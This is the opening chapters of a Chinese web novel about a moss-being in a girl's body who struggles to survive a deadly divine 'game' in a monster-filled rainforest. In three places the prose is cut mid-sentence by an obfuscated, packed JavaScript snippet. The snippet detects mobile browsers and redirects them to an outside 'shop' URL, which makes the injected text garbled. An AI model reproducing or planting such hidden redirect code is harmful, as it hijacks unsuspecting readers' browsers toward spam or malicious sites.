《献给神明的游戏》 1. 遗言 有人死了。 这是一个女性,从穿着和外貌判断,她大概只有十七八岁,和我这具身体的年龄差不多…… 在暴雨中,她站在尸体前,正在接收作为人的基本常识,也顺带分析着这个死去人类的信息。 很快她就意识到,她能够获得的讯息是有限的,比如她不知道“自己”曾经经历过什么,甚至连名字都没有印象。 下一刻,这些异常都得到了解释,她的眼前出现文字,同时耳边响起漠然的声音: 伟大的玩家,欢迎你参与我们的游戏,现在,一切都准备就绪,游戏正式开始。 第一卷,起始之章,卷首语:神明已经厌倦了为人类提供庇护,除非你们能够取悦祂,毕竟,人类是最有趣的玩具,来吧,为神明献上你的表演,这是《献给神明的游戏》。 下面生成你的玩家信息: 代号:零 意志:1 能力:吃下 特质:遗忘 “获得伴随失去,零是开始,也是终结。” 剩下的请在游戏内自由探索,祝你好运。 至此所有文字消失,一个猩红的几乎占据整个视野的“30”出现在她眼前,并且持续了三秒。 因为刚来到人类的身体不久,她对一切都还不熟悉,处理这些文字和语言信息花费了一些时间,最后她大概理清了自己的处境。 首先,她的自我认知依旧是一块青苔,她还记得自己生长的那片土地上长满了自己的同族,那个地方很黑,很安静,但这些都已经是过去了。 现在的她意外进入了一个人类女孩的身体,并且卷入了一个莫名其妙的游戏,她对这具身体的信息了解不多,可能也是因为游戏里她的特质是“遗忘”。 作为青苔是没有名字的,现在她有了代号,她叫零。她还可以用“遗忘”特质来掩盖她的真实身份,毕竟在她获得的人类常识里,一个外来者占据了人类的身体,这是闻所未闻的,甚至可能会被抓去研究。 至于最后出现的数字“30”,可能是人数,也可能是时间,或者其他的维度,目前暂不可知。 想清楚了这些,零开始思考下一步怎么做,就在这时,身前的尸体发生了变化。 女孩原本苍白的身体上长出了黑色的斑块,仔细看才发现这是苔藓,一寸一寸地,最后女孩整个人都变成了黑色苔藓,一朵洁白的小花穿破她心口的衣衫,绽放着,诱惑着零。 “吃了它。” 零的脑海里回荡着这样的话,她下意识地吞了口唾沫,但原属于人类的理智此时冒了出来。 她会是这具身体的朋友吗?这朵花代表了什么?她是否应该这样做? 此时她想到了游戏里的身份设定,她的能力是“吃下”,难道“吃下”指的是吃下这朵花? 零终于不再忍耐,她认为自己应该用手辅助进食,便试图伸手摘下这朵花,但她的手距离平躺在地上的人还是太远了,她没有够到,于是她试着弯曲自己的双腿,蹲下,这样就差不多了。 暴雨还在冲刷着世界,零和这个异化成黑色苔藓的女孩身上都湿透了,此时零才注意到,身边的地上零零散散都分布着苔藓,就仿佛,整个世界都将成为苔藓的王国。 不过这都不重要,重要的是零成功摘下了这朵花,她张嘴将花囫囵吞了下去,甚至没有咀嚼两下,这样的举动让她的喉咙很不舒服,零提醒自己下次吃东西记得咀嚼。 “零,遗言一:你吃掉了果实。” “遗言二:便应为生命默哀。” 零已经习惯了耳边突然出现声音,此时她毫无惊讶,只是在思索这个遗言是什么意思,她本身并不在意,但人类的经验让她觉得这个词汇很不详,很晦气。 她所不知道的是,这一次,漠然的声音不只出现在了玩家的耳边,地球上所有人都听到了,几乎所有醒着的人都停顿并安静了下来,等这两句话说完便不约而同地好奇张望,与身边人交谈。 “刚才发生了什么?” “你也听到了吗?” “好像是说什么遗言?” “是哪位大人物死了吗?” “真是受够了这些人,真他丫的恶心。” 同样地,正在雨林边缘处的几人也听到了。 他们是来自不同城域的玩家,不论是核心城,还是次城,现在他们都有了相同的身份,也同样被这场游戏搞得昏头转向。怀揣着警惕与不安,有的人选择聚在一起,互相交换情报,有的人则隔了一段距离,打量着这陌生无比的环境。 “嘿!看那边!是不是她在吃什么!” 原本交谈的人也都纷纷朝着提示者所指的方向望去,雨太大了,整个世界都仿佛被加上了模糊特效,这样的天气竟然有人就蹲在雨中。 “她面前的好像也是一个人!她不会在吃人吧!有没有人跟我一起去看看?” 几乎没有人想动,本来从安稳的生活环境突然来到这里就已经够倒霉了,躲在巨树下也还是会被淋湿,谁还想出去管别人的事? 只有岳燃应下了,他和郑一念冒着雨向零靠近。 零在郑一念第一遍喊话的时候就听到了,那一刻她几乎浑身都僵硬了,她不知道应该怎么和人类相处,怎样才能表现得像一个正常人类,但如果说这个时候她的状态是紧张,听到第二句略带敌意的话时,她完全陷入了恐惧。 她的身体比脑子先做出反应,快逃! 第一次使用双腿奔跑,零刚起身还踉跄了一下,但在这样紧急的关头,她很快适应了奔跑。 她没有向雨林外的平原跑去,而是以一个弧度冲向雨林,她知道自己肯定是跑不过这两个成年男性的,她只能寄希望于雨林深处的环境复杂,足够藏住一个她。 零注意到原本追她的两个人分开了,一个直直地冲她而来,另一个则是保持原本的路线,应该是要去看看那个女孩的情况,虽然追她的人少了,但是她没有放松警惕,反而更快地扎进了那片幽深神秘的雨林 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127661|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 她隐约听见查看尸体那位喊了什么,于是有更多的人参与了追捕她的行列。 雨林的树大部分都有一百米高,树冠如同巨大的墨绿色穹顶,将天空切割成细小的碎片,只有正午时候才能艰难地透下几缕光柱,这样的暴雨也被很大程度地隔绝了,里面是自成一体的绿色国度。 一只很像豚鼠的泥棕色生物受到惊吓跳着逃开了,它的行动方式很像袋鼠,弹跳力惊人,零决定跟着它跑,森林的原住民可能更懂得哪里安全。 一路上有很多奇异的植物,但是零没有精力去留意,她只能尽力跟着灵活的小东西才能不掉队,影影绰绰地,她好像看到了一个人影。 零停了下来,她的手不受控制地发抖,就这样她还是尽量保持了冷静,并且在身边捡起了一块石头,她想,她能够做到像一个人类一样使用工具。 雨林是静谧的,一只小动物跳跃的动静可能不足以引起注意,但一个人的动静绝对会被发现,零早就被发现了,但是那个人没有一点反应,直到零靠近时他转身亮出匕首,零才意识到这个事实。 原本还在犹豫的零看到匕首时突然整个人僵了一瞬,下一刻便完全动了杀心,她是抱着必死的决心和这个人拼命,但是这个男人在看到她后立刻停止了动作。 来不及了!零只能任由惯性将石头砸在了男人的头上。 这一切发生得很快,两个人不期而遇,对峙,并以一方失败告终。 零看着身前的人流血倒下,心里只有一个念头,我好像杀错了人…… 此刻她才注意到自己的心脏跳得有多快,人类的心脏竟是如此神奇的东西,它像刚才那只小动物一样,跳得快而远,仿佛要从她的胸腔逃离。 零平复了一下自己的心情,她小心翼翼地靠近倒在地上的男人,想看看他死了吗,人类判断死亡好像是通过呼吸,她试着探知他的鼻息,但不小心碰到他的肌肤时,她被那温热的触感给吓得缩回了手。 人类是这样柔软而温暖的存在吗? 她在雨里泡了太久,但是她没有感到不适,因为青苔是喜欢潮湿的环境的,她也习惯了冰凉的感受,所以第一次触碰到温暖的东西,她下意识地躲避开了。 第二次她鼓足了勇气去探知,轻微的呼吸昭示着这个人还活着。 零放下心来,她观察来的方向,这么久了都没有人追上来,她准备暂时休息一下,守着这个人不被动物吃掉,就算是她为自己误伤的补偿吧。 零把男人掉落的匕首捡起,决定自己拿来防身,然后将他拖到树根边靠着,这个男人和她印象里常规男人的模板不一样,他的头发很长,拿一根带子绑着,他戴着的眼镜也只有一半,不过现在已经掉落了。 她看见血从他的额头流了下来,他的表情看起来却是开心的。 不对,是“开心”吗?唇角微扬,是笑容的象征,但是他的眉头却是紧锁的,是因为受伤疼痛吗? 第一次观察人类的表情,竟如此复杂。 2. 烟花雨林 零就坐在男人的身边,她之前一直紧绷着,没有时间回顾自己玩家信息的变化,现在终于平静下来,她开始回忆之前都发生了什么。 当时她遵从内心的本能吃下了那朵白色小花,她的意志那一栏的信息就从1变成了0,当她感到死亡的气息笼罩过来时,下一刻她的意志又从0变成了5,也是在同时,她听到了遗言。 不是她自己的遗言,而是死去的女孩的遗言。 “玩家19,意志5,无特殊能力特质。” 这简短的游戏身份介绍,就是她生命最后的声音,只有零听到了。 零回忆起这段经历,她的心里有一丝自己不会描述的感触,她想自己正在逐渐了解人类。 在那之后听到的,才是自己的“遗言”。 第一句是她吃掉了果实,这很好理解,这朵白花是各种意义上的果实,她的意志甚至涨到了5;第二句是应该为生命默哀,她想她现在似乎能够理解这句话了,因为她吃下的“果实”是玩家19的5个意志。 她对人类接受帮助就表达感谢的规则接受良好,但是为什么不是向生命致谢,而是“默哀”? 因为吃掉果实就意味着对方已经死掉了吗? 零的思绪被“咻咻”的惨叫声打断,她循声望去,之前带着她逃跑的那只小动物好像掉进了什么陷阱,零握紧匕首,谨慎地靠近。 绿色的潮湿的世界里,地面铺满了落叶和苔藓,小家伙好像失足踩进了什么坑洞,正在拼命挣扎,零准备伸手把它提起来,但是下一刻她被许多黑亮的圆眼睛摄住了,在她愣神的片刻,八条覆盖着绿色绒毛的长腿猛地收缩,准备把她的手连同猎物一起裹进自己的腹部! 这不是陷阱!而是一只伪装成陷阱的蜘蛛! 零近乎本能地收回了手,但还是被蜘蛛的腿触碰到了,绒毛的触感就这么留在了她的皮肤上,她觉得手在发痒,连带着脊背都在发痒,她知道这种痒意不是真实的,但是面对比人头还大一圈的蜘蛛,她忍不住头皮发麻。 她后退了两步,不准备再招惹这样恐怖的猎手。 凄厉的惨叫声不绝,绿色巨型蜘蛛的腹部还在抖动,就算是即将死亡,也没有生命会停止挣扎。 之前思考的内容又再一次浮现在脑海,接受帮助就应该表达感谢,她认可这样的规则,既然现在作为人类生存,那她姑且践行一下吧。 零眼神一冷,看了看手里的匕首,她觉得可能不够,于是又捡起曾经砸晕人的石块,她张大嘴巴狠狠地呼吸了几下,下定决心来到巨型蜘蛛的身边,它正在处理自己的猎物,没有将刚才被它吓走的人类放在心上,孰不知这个人类已经成为新的猎手。 “哧——” 锋利的刀刃刺进蜘蛛的身体,绿色的粘稠浆液喷溅出来,下一刻,八条长腿摇晃得花枝招展,恶心瘆人的感受从视觉和触觉传达到零的脑海,零忍住畏惧,用匕首死死钉住蜘蛛,另一只手使劲地把石头朝它脑袋砸下去。 一下,两下,液体飞溅,三下四下,乱晃的长腿渐渐停了下来。 零用匕首割断这些绒毛长腿,陷在蜘蛛腹部的小动物已经被蛛丝缠了起来,现在挣扎的动作也变小了,可能是中了蜘蛛的毒,零只能做到将它取出来,然后把蛛丝清理干净,但它能否存活下来,只能靠它自己了。 零抽出匕首,回到了昏迷不醒的男人身边坐着,她把匕首插进地里,开始打量这周围的环境,她发现这里的一切都和她接收的知识对不上。 也许是因为这具身体的主人没有见识过这样的雨林吧。 从这里抬头望上去,几乎看不到天空,高耸的树就像笼子,随处可见的藤蔓缠绕着树干,气根如同无数暗红色的血管扎入树皮,吮吸着树木的汁液与生命。 被这样的藤蔓缠绕的树木大多逐渐枯萎了,树皮变得苍白,而藤蔓反而越发肥硕鲜红,甚至开出艳丽的花朵,这些花散发着类似腐肉的气味,蝇虫被吸引着靠近,帮助它完成授粉。 地面上也生长着零叫不出名字的植物。有的蘑菇大得如同斗笠,菌盖上的斑纹像鬼脸,在这种蘑菇周围还生长着一簇一簇小而美丽的蘑菇,仔细看它们仿佛还会散发出荧光。更多的是奇形怪状的草,看起来就不安全。 零就静静地坐在原地,这里应该是被她打晕的人找到的地方,没有各种令人不安的动植物,只有巨大的树根和无处不在的苔藓。 她竟然在这里感到一丝安心,她看着自己的手,虽然只是一个普通大小的秀气手掌,力气也不大,但是她就是用这只手握着刀刺穿了蜘蛛。 掠夺其他存在的生命,原来是这种感觉。 说不上讨厌,也说不上喜欢。 她和人类还差了很多,她能够感到最浓烈的情绪只是恐惧,那种源自于所有生命本能的求生欲。 随着时间流逝,雨林里的光逐渐变得暗淡,原本躺在地上抽搐的小家伙已经一动不动了。 零看着周围的一切渐渐浸泡进黑暗,原本嗡鸣的昆虫声也逐渐停歇,这个世界终于回到了她熟悉的模样,她生长的地方又在地球的哪一片土地呢?如果可以,她想回去看看,看看一块青苔的家。 不知过了多久,身边的人终于有了醒过来的痕迹。 绝对的黑暗中,只有小蘑菇会散发出微弱的光。零完全看不清这个人的动作,她只能听到窸窸窣窣的声音,像是坐起来后在摸索什么。 接着一道光射了出来,零看见了这光源自于一个小板砖,准确地说应该叫手机,男人靠着手机的光线寻找到自己的单片眼镜,不知从哪里抽出一块绒布擦拭起来,然后戴在了左眼。 最后手机屏幕的光垂直朝上,而他的目光落在她的脸上。 两个人对视着,四只眼睛里都是探究。 零在等他醒来的这段时间里,一直思考着怎么同他交谈,最后得出的结论是随机应变,根据对方的态度做出回复,所以在对面说话之前,她是不会开口的。 两个人沉默了三十秒,因为手机自动熄屏了。 光再次亮起,随之而来的是他的微笑和自我介绍:“你好,我叫云怀舟。” 零把轻声练习过很多遍的话念出了来:“你好,我叫零。” 云怀舟的表情没有惊讶,他仿佛知道些什么,一副果然如此的神情,“之前我听到了两句遗言,应该就是你的吧。” 零这下才反应过来,那两句遗言并不只是说给她听的,当时那些人喊着她吃了什么就冲过来,显然也是听到了遗言,只是零一直都没有在意。 她点了点头,表示就是自己。 云怀舟没有再多打听,他把目光放回了自己手机,一边揉着脑袋,一边像是介绍一样自言自语:“已经十一点五十一了啊,今天刚来到这里我就发现没有信号,现在也是,消息完全发不出去,我们被困在了这里。” 零很通人性地接话:“你知道这里是什么地方吗?” 零没指望云怀舟能够知道这么古怪的地方,但是他像教科书一样回答了她:“如果我没有判断错,这里应该是烟花雨林。烟花雨林别名绿色风暴,是指短时间内拔地而起形成的雨林。 “根据物种与异常调查社研究,在某些地方,适应雨林环境的动植物,会将自己的生命精华封存在种子、孢子、虫卵或休眠体中,深埋于地下,等待正确的环境信号。 “当‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127662|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 黄金窗口期’来临——特定的温度、湿度、光照和大气成分组合在一起,就像一个正确的密码,会瞬间激活这片沉睡的土地。数以亿计的生命会在几周甚至几天内集体萌发、孵化,形成一片繁盛的、生态结构完整的雨林。” 听完这番话,零感觉原属于这个身体的记忆都被激活了几分,那似乎是一种叫“上课”的氛围。 零指了指一旁树上的藤蔓,问:“这个呢?” 云怀舟打开手机的手电筒照过去,只看了一眼就能回答:“这是吮血藤。” 没等他详细介绍,零又开口:“在你醒来前,我杀了一只蜘蛛,它比人的头还要大,浑身绿色,长着绒毛,藏在绿叶苔藓间很难发现。” 云怀舟对答如流:“你遇到了一只幼年陷苔蛛。” “幼年?”零完全不能理解,这么大都只是幼年,成年了该有多大。 云怀舟说:“成年的陷苔蛛可以捕获一个成人,最早探索烟花雨林的调查员就有因此牺牲的。” 零后知后觉自己的幸运,像她白天那样不顾一切地乱跑,没有踩到陷阱真是命大,看来跟着那只小家伙是对的。 想到这里,零感到一种悲伤的情绪,她起身朝着陷苔蛛尸体走去,云怀舟也起身跟着她,为她照亮前面的路。 零看到了还躺在原地的小家伙,她蹲下把它捧了起来,它的毛发还是柔软的,但触手的冰凉告诉她,它已经死了。 “它叫什么?” 云怀舟只看它的背面不能确定,所以追问:“它是不是擅长跳跃?” 零点头。 云怀舟告诉她:“这是一只淤泥跳跳,它擅长用强健的后腿跳跃,它的前爪小巧灵活,用于挖掘和抓取食物。它最喜欢在淤泥中跳跃,因为毛发顺滑,所以能够防水也不会沾上淤泥。这种跳跃行为无意中为湖底淤泥进行了翻耕和曝气,促进了养分的循环和休眠睡莲种子的萌发。” 零本来还有点低沉,听到最后一句话,她实在忍不住问:“你是生物老师吗?” 云怀舟笑了笑,“我是历史系的应届毕业生。” 零更加不明白了。 云怀舟看见她的表情,补充道:“自从过去的人类历史不可知,我们的课程加入了环境历史与生物历史,很多教材都是调查社的前辈编撰的。” 零又点了点头,云怀舟觉得她呆呆的,他提议:“我们把这只淤泥跳跳埋起来吧,这个世界已经陷入了混乱,说不定它的生命只是被封存了,很多年后会随着烟花雨林再次孵化。” 零问他:“你在安慰我吗?” 云怀舟的柔和表情僵了一下,他注视着一旁,“你也可以这么理解。” 云怀舟找到了自己带来的匕首,他用匕首在地上刨坑,零来到云怀舟身边蹲着,她看见他额头流下的血痕,最终还是提起了这个话题:“我打了你。” 云怀舟嗯了一声,没说什么。 零问:“为什么?” 这个为什么里包含了很多问题,比如他为什么不抵抗,为什么不生气,为什么表现得仿佛什么也没发生,零第一次对人类这么好奇,按照她的理解,不应该是这样的,所以为什么呢? 云怀舟没有抬头,继续挖着坑,“因为你比较有危机意识,懂得保护自己是好事。” 零有点没反应过来,她想问的不是这个。 “铮!” 匕首在刨土时崩断了…… 零把视线放到了云怀舟脸上,她想要说什么,刚要开头就被云怀舟用手背捂住了嘴。 “嘘——”云怀舟以最快的速度把手机的电筒关掉了。 零听见远处隐隐传来人交谈的声音。 3. 污染 声音由远及近,零也看到了光亮,而且不是手电筒的光,是火焰燃烧的光,有人抬着手,火焰就在他手掌上方熊熊燃烧,照亮了很大一片区域。 这时,零的视野里再次出现猩红的巨大数字,“29”。 那群人也是在这时安静了三秒,紧接着变得更加烦躁。 不耐烦的声音:“这到底是什么玩意,你们应该也看到了吧,这是什么黑科技吗?狗屎,没有卫星,没有网络信号,但整这些倒是有一手。” 温柔胆怯的声音:“我觉得更像灵异事件,之前不也是吗……” 平和稳重的声音:“可能更加复杂,我的能力就是证明,我不觉得科技能够做到这种程度,但大家先别急,等我们找到那位零,看看问题是不是出在她身上。” 拥有火焰能力的人俨然成为了众人的领袖,零数了数这一行共有五个人,他们还在寻找自己。 云怀舟带着她躲藏在树后,等那些人离开了,才继续刨土。 零正在学习如何扮演一个人类,但是云怀舟好像不是一个合格的参考者,她甚至不用扮演和伪装,她觉得这个人比她还要奇怪一些。 零忍不住出声询问:“你听到了吗?” 云怀舟:“我听到了,他们在找你。” 零:“你不好奇为什么吗?” 云怀舟顿了一下,“你想说自然会说,打听这些不太礼貌。” 零想了想,觉得他说的有道理,她放下了戒备,试着相信这个人类:“你还记得那句遗言吗,我当时吃了一个人身上长出来的花,然后被他们看到了,最初我还以为你和他们是一起的,所以打了你。” 云怀舟认真了些许,他问:“只是吃一朵花,你应该不用害怕他们吧,你方便详细讲讲吗?我保证不会背叛你,如果你需要帮助,我也会尽量协助你。” 零只觉得自己遇到了很好心的人,她把那个女孩身上发生的变化,还有那群人说的话都告诉了云怀舟,希望得到原住人类的建议。 云怀舟听着听着甚至停下了挖坑的动作,“异化成黑色苔藓,这可能是一种污染。” 零很好奇:“什么是污染?” “污染也是物种与异常调查社提出的概念,他们常年在自然界进行调查,经常会遇到科学难以解释的离奇现象,这类情况统称为污染事件,”云怀舟打量了一下淤泥跳跳的体型,觉得差不多合适,“把它放进来吧,埋上土就好了。” 零把淤泥跳跳放进云怀舟挖的小坑,原本她没有什么情绪,甚至觉得云怀舟做这些都是没有必要的,可是当她看到小家伙静静地蜷在小土坑里,就像在小窝里睡着了,她觉得心里酸酸的,说到底她连酸是什么味道都不知道,可是她知道该用这个词语来形容自己的感受。 云怀舟问她:“你还有什么话想对它说吗?说完我就要把它埋起来了。” 零想了想说道:“你的名字很可爱,我喜欢。” 她只是一块青苔罢了,人类那些更复杂的词汇她还未完全理解,什么愧疚,什么遗憾,什么祈祷,她都不清楚,她现在只觉得“淤泥跳跳”几个字很可爱,至于可爱又是什么意思呢?这又是一个问题,她的脑海会自动关联这个词语,她想淤泥跳跳就是可爱。 他们认识的第一天,云怀舟带零举行了一场葬礼,在安静地看着淤泥跳跳被土壤覆盖时,零好像明白了什么是默哀。 土坑填平,云怀舟用身边的草叶擦拭匕首上的泥渍,他问:“你接下来准备怎么做?” 零暂时没有头绪,除了活着,她没有任何目标。至于怎样能活,如何活着,她并不清楚,在她的认知里,人类是活在如同蛛网一样的社会的,而她什么都没有,就算原身有,也因为特质遗忘了。 云怀舟从口袋里取出一包饼干,他打开后递给了零,“你知道什么是游戏吗?按照我们能够被无意间移动到几百公里外的情况来看,如果不能通关,我们可能无法离开。” 零接过饼干,在云怀舟已经刻意遮挡过的微弱灯光下,她还是能够看清饼干是小熊形状的,试着放进嘴里嚼碎,人类的食物很可口。 云怀舟没有等到零开口,他继续说:“但是现在我们连游戏的内容都不知道,能做的只有活下去,然后根据游戏说的,尽量更多地自由探索。” 零点头,继续吃饼干。 云怀舟无奈地笑了笑,“走吧,我们朝着刚才那些人的方向过去,他们有火,夜晚在他们附近会更安全,烟花雨林里的未知生物会比我们能料想到的多数倍,教材每年都会更新,就算是我也做不到知晓一切。” 其实零是有点反感靠近那些人的,但她觉得云怀舟懂得很多,按照他说的做可能会更好,于是她同意了,两个人小心翼翼地走在夜晚的烟花雨林,除了脚步声,还有一些不知来源的声音,衬得夜晚更加安静诡谲。 幸运的是,一路上没有遇到任何危险,他们顺利地看到了火光。 这样潮湿的环境,几乎没有什么可以作为燃料,唯一能燃烧的,就是岳燃的能力。为了不被发现,零和云怀舟停在了稍远一点的位置。 就算零再不懂人类,此时她也觉得不对劲,她抓住云怀舟的领口向下扯,云怀舟俯身递上耳朵。 零小声问:“你可以和他们在一起,为什么要帮我?” 云怀舟也小声回答她:“我是一个信者,你就当我做好事会积累福报吧。” 信者是说信仰神的人吧,云怀舟的确像一个信者,他信的神明是这个游戏提到的那位吗?云怀舟又是抱着怎样的心情参加这样的游戏呢?零没有再问,她放开了云怀舟,自己找了个树根间的角落靠着坐下,头就枕在长满青苔的树根上。 云怀舟没有像零这样随性,他选择了端坐在空地上。 接近清晨的时候,大约是四点多,天色蒙蒙亮,零从梦中醒来,她梦见自己在坠落,醒来一身冷汗,她睁开眼看向四周,云怀舟早就维持不了坐着的姿势,侧倚在树根上睡着了,零只能看见他的背影。 没有多想,零换了个姿势,接着睡觉。 再次醒来时是被唤醒的,“快醒来!”零睁开惺忪的睡眼,云怀舟正挡在她的身前,他右手背在背后,手上握着断刃的匕首,他们被发现了。 很不可思议,第二次睡着比第一次睡得还要沉。 围住他们的队伍里,为首的是一个西装革履的中年男人,经过淋雨和赶路,在雨林待过一夜,他看起来还是很精神,此时也是他站出来交涉:“你们好,我叫岳燃,请问两位怎么称呼?” “我叫云怀舟。” 他没有替零回答,零可以自己决定是否报上真名或者代号,零没有想那么多,因为她只有一个称呼,“零。” 听见这个名字,对面几人反应不同,最明显的是一个和零 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17127663|196162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差不多同龄的姑娘,她穿着和死去女孩同款的校服,此时她忍不住红了眼眶,小声但勇敢地质问:“就是你杀了玫云吗?” 零否认:“不是我,我看到她的时候,她已经死了。” 有赖于零之前和云怀舟的交谈锻炼,现在她回答起陌生人的问话也能比较流畅。 但对面的女孩没有相信,她情绪激动起来:“那你昨天为什么逃跑?!我们都听到了……” 岳燃温和地打断了女孩的宣泄:“玲玲,别着急。” “岳老师……” 岳燃拍了拍她的肩膀,转身面对零时又冷淡了不少,零在云怀舟的背后都能感到这股寒意,“零同学,请你给我们一个合理的解释,玫云也是我的学生,作为老师没有保护好她已经是失职了,现在我能做的就是为她找回公道,希望你配合。” 零说:“我不知道她是怎么死的,我也没有吃她,她变成黑色苔藓后,身上长了一朵花,我只是把花吃了,你们突然朝我跑来,我很害怕,就跑开了。” 零把前因后果都讲得很清楚,但是这件事本身就足够匪夷所思了,为什么人类会变成黑色苔藓?为什么会长出花?就算是现在,零身前有一个人支持她,似乎也没有人相信她说的话。 一个穿着棕色皮衣的男人越过岳燃,“扯谎也要有个限度,我看你根本就是用了什么异能,把其他玩家的性命当做果实给吃了!岳哥,别和她废话!两个学生仔,教训一顿就老实了!” 这群人一起度过了一晚,关系也已经更好了,现在不止一个人想要动手,于理他们有动机,于情他们的坏心情需要发泄。 云怀舟没有理这个人,他对岳燃说:“岳老师,你应该知道了,这是个误会。” 岳燃比较冷静,但是其他人做不到,被迫参加这个游戏,看见同类的尸体,恐怖的生存环境,饥饿,这些都已经把他们的耐心耗尽了,就算是岳燃现在都有点拦不住,一时间气氛剑拔弩张。 岳燃:“请先冷静!没有证据的前提下,我们应该尽量合作!” 一个花臂男人也站了出来:“岳老师,你就是太文化人了,有时候拳头更好说话!” 此时零一把夺过了云怀舟背后的匕首,自己冲到了前方。 “零!”云怀舟反应过来就要拦她。 零现在充满了杀气,她不觉得一个会用匕首挖土还把匕首崩断的人这时候可靠,她更相信自己的意志,仿佛与生俱来的,想要反抗和毁灭的意志,以及求生的意志。 战斗就是这样,一触即发。 岳燃这边一共五个人,除了他和陈玲,其余三个男人中两个已经动起了手,剩下一个一直观望的郑一念。 花臂男率先发难,他腰身一拧,那蓄满力量的右臂便像一根抡圆的铁棒,朝着零的侧脸呼啸扫来!零凭着本能闪避,同时调整匕首的角度,要拿断面边缘形成的尖棱去刺对手。 此时云怀舟也不再去拦零,他把目标放在了穿皮衣的男人身上。 “呵呵,书呆子懂什么叫打架么,跪下来求饶我倒是可以考虑手下留情!” 云怀舟没有被激怒,他冷静地观察对手,试图寻找他的弱点。 这时郑一念喊了一声:“小心!” 没有人知道这句话是在提醒谁,但是下一秒,一道黑影闪过,皮衣男的脑袋突然消失了,剩下的身体还摆着想要进攻的架势。 4. 带来光与热 1 “嗞——” 断面喷出了鲜血,像喷泉一样,附近的人都被淋湿了。 想要打架的劝架的一时间都愣住了,岳燃把学生护在身后,陈玲捂住了嘴不敢叫出声。 郑一念的脸色变得格外惊恐,他指着树梢方向,声音颤抖:“这,这东西是什么……” 零跟着大家一同望去,这是一种未知的生物,它浑身覆盖着纯黑的杂乱长毛,面部没有明显的五官,只有一个能如七鳃鳗般张开、布满细密牙齿的圆洞,现在这个圆洞被皮衣男的人头撑开,他们还能看见他痛苦扭曲的表情。 除了骇人的面部,它的恐怖之处还在于这绝对寂静中突如其來的吞噬。 它的四肢格外长,并且关节能够反弯,在枝杈间的攀爬与摆荡近乎没有声音,它就是靠着这样的能力悄无声息地靠近了他们,并且掠夺了一个人类的生命。 云怀舟心里有不好的预感,他抬头看了一眼,立刻提醒:“快跑!树冠上全是!” 所有人都朝前方跑了起来,郑一念动身前,鬼使神差地抬头仰望,接着,他的脚像被钉在了地上。绝望。不是洪水般涌来的那种,而是冰冷的、致密的、从每一个毛孔渗进来的。 不知何时,头顶的树冠已经爬满了这种生物。纯黑色的,像夜色凝结成的肿瘤,纯白色的,像白日生长出的畸胎,它们如两色的数不尽的幽魂一样挂在枝杈。 它们行动了。 岳燃倒回来扯了郑一念一把,他才回过神,跟上了队伍。能逃得掉吗?人类能躲过这样的数量和速度吗?就算脚下一刻不停,大脑也会自动闪过这些念头。 岳燃选择了断后,这是他第三次使用火焰,原本更适合用来攻击的能力被他当成了守护的屏障用,密密麻麻的生物畏惧火焰,始终同岳燃保持着一段距离,但它们没有选择放弃这些盯上的食物。 花臂男是最强壮的,他跑在了第一个,跟在后面的是云怀舟和零。 轰隆一声巨响,零看见她前面的男人突然踩空掉了下去,同时出现在她视野的是八条成人手臂般大小的绒毛长腿,这是……成年陷苔蛛! “喝啊——谁来帮个忙!” 零没有理会,甚至内心没有一丝波动,她绕开这里继续向前,但是云怀舟把她叫住了,“零,把匕首给我。” 零以为云怀舟要在这个时候杀了花臂男,她把匕首递给了云怀舟。可是云怀舟没有杀这个人,他把匕首扎进了陷苔蛛的身体,疼痛让它禁锢猎物的长腿不自觉地抽搐,接着云怀舟手匕共用,把束缚花臂男的蛛丝弄断些许,男人终于有了挣扎自救的机会。 人在绝境爆发的潜力是无穷的,接着花臂的男人仅靠着自己的拳头就将陷苔蛛砸得稀碎,绿色的浆液溅了他一身,云怀舟躲得比较早没有被这些液体溅到,不然他会和花臂男一样浑身红绿斑驳。 零问:“为什么帮他?” 他不是敌人吗?他们刚才不还打起来了吗?这个时候不杀他反而救他,零理解不了,她感到不开心,甚至想要远离云怀舟。 云怀舟的眼神很复杂,但没有让零看见,他重新回到零身边,这是他的回答:“救人不需要理由。” 他本可以选择更功利的回答,或者更体现“信者”博爱的回答,但是他却说了这么一句话。零心里很乱,她需要时间去消化这句话,去理解人类的生存模式。 接下来他们逃亡的速度放慢了些许,除了头顶的危险,脚下也暗藏着未知的灾难,饥饿如影随形,绝望的气氛不知什么时候诞生,但一旦出现就挥之不去。 陈玲担心岳燃,她看见老师的表情已经很痛苦了,就连释放火焰的手也在颤抖,“老师,你还好吗?”她的声音有点哽咽,但是她做不到劝老师停下,一旦停止火焰的保护,他们所有人都会死,可是这条路有尽头吗?这个雨林究竟有多大? 